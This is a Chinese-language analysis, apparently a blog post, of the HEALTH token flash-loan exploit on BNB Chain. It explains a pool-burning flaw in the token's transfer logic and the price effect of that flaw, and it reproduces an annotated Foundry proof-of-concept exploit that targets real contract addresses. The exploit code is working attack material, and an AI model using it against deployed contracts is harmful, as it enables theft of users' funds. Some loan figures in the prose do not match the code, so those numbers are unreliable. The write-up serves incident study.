HEALTH 事件分析
https://twitter.com/BlockSecTeam/status/1583073442433495040
1、攻击合约先通过闪电贷获得资金 40000000000000000000 WBNB,然后通过PancakeRouter 交易所兑换 30565652268756555675523626 HEALTH ,此时的兑换比例 HEALTH / WBNB = 764,141.306718
2、直接查看攻击合约退场获利时的兑换比例,攻击合约兑换 30565652268756555675523626 HEALTH ,按照正常逻辑应该兑换出约40000000000000000000 WBNB ,但是实际上却兑换出 56641927146106351887 WBNB ,获利约为16641927146106351887;
3、查看攻击过程,发现反复调用 HEALTH. transfer ,最重要的是销毁了流动池大量的 Health 代币;
4、查看代码发现合约在调用 _transfer 时,如果满足条件 block.timestamp >= pairStartTime.add(jgTime) && pairStartTime != 0 将销毁流动池中的Health代币,这将会导致Health 兑 WBNB的价格升高。 https://bscscan.com/token/0x32b166e082993af6598a89397e82e123ca44e74e
根据调用函数和Cake-LP 代码可知这是一个uniswapV2的仿盘,代码中显式手续费为0.025,可根据以下代码分析出每次可兑换的代币数量:
// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.6.6;
import "https://github.com/Uniswap/v2-periphery/blob/master/contracts/libraries/SafeMath.sol";
contract test {
using SafeMath for uint;
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(975);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
}
如攻击前 amountIn = 40000000000000000000 , reserveIn = 38502835300011026965 , reserveOut = 62563539073327292627431307 , 则amountOut = 31482435634963373485175702 价格操作后: amountIn = 30565652268756555675523626, reserveIn = 11279403258019691775577944, reserveOut = 78469544877252212536, 则amountOut = 56924512179034773317
参考代码:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/HEALTH_exp.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/BlockSecTeam/status/1583073442433495040
// TX
// https://bscscan.com/tx/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf
contract ContractTest is DSTest{
IERC20 HEALTH = IERC20(0x32B166e082993Af6598a89397E82e123ca44e74E);
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
Uni_Pair_V2 Pair = Uni_Pair_V2(0xF375709DbdE84D800642168c2e8bA751368e8D32);
Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 22337425);
}
function testExploit() public{
WBNB.approve(address(Router), type(uint).max); //WBNB、Health都是ERC20代币,攻击合约先授权,额度为最大值type(uint).max
HEALTH.approve(address(Router), type(uint).max);
DVM(dodo).flashLoan(200 * 1e18, 0, address(this), new bytes(1)); //调用 DPPAdvanced 获取闪电贷,因为第 3 个参数不为0,因此将会调用攻击合约的回调函数DPPFlashLoanCall,还款也将在回调函数完成
//闪电贷将会通过公式 require(uint256(_BASE_RESERVE_).sub(baseBalance) <= receiveBaseAmount, "FLASH_LOAN_FAILED"); 或
//require(uint256(_QUOTE_RESERVE_).sub(quoteBalance) <= receiveQuoteAmount, "FLASH_LOAN_FAILED"); 判断借款人是否归还贷款和利息
//否则将回滚交易
emit log_named_decimal_uint(
"[End] Attacker WBNB balance after exploit",
WBNB.balanceOf(address(this)),
18
);
}
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external{ //攻击合约的回调函数,实现攻击逻辑,最后一步必须归还贷款,否则交易回滚
WBNBToHEALTH();
for(uint i = 0; i < 600; i++){
HEALTH.transfer(address(this), 0);
}
HEALTHToWBNB();
WBNB.transfer(dodo, 200 * 1e18);
}
function WBNBToHEALTH() internal { //通过PancakeRouter查找交易路径[WBNB,HEALTH],并实现交易
address[] memory path = new address[](2);
path[0] = address(WBNB);
path[1] = address(HEALTH);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
WBNB.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
}
function HEALTHToWBNB() internal { //通过PancakeRouter查找交易路径[WBNB,HEALTH],并实现交易
address[] memory path = new address[](2);
path[0] = address(HEALTH);
path[1] = address(WBNB);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
HEALTH.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!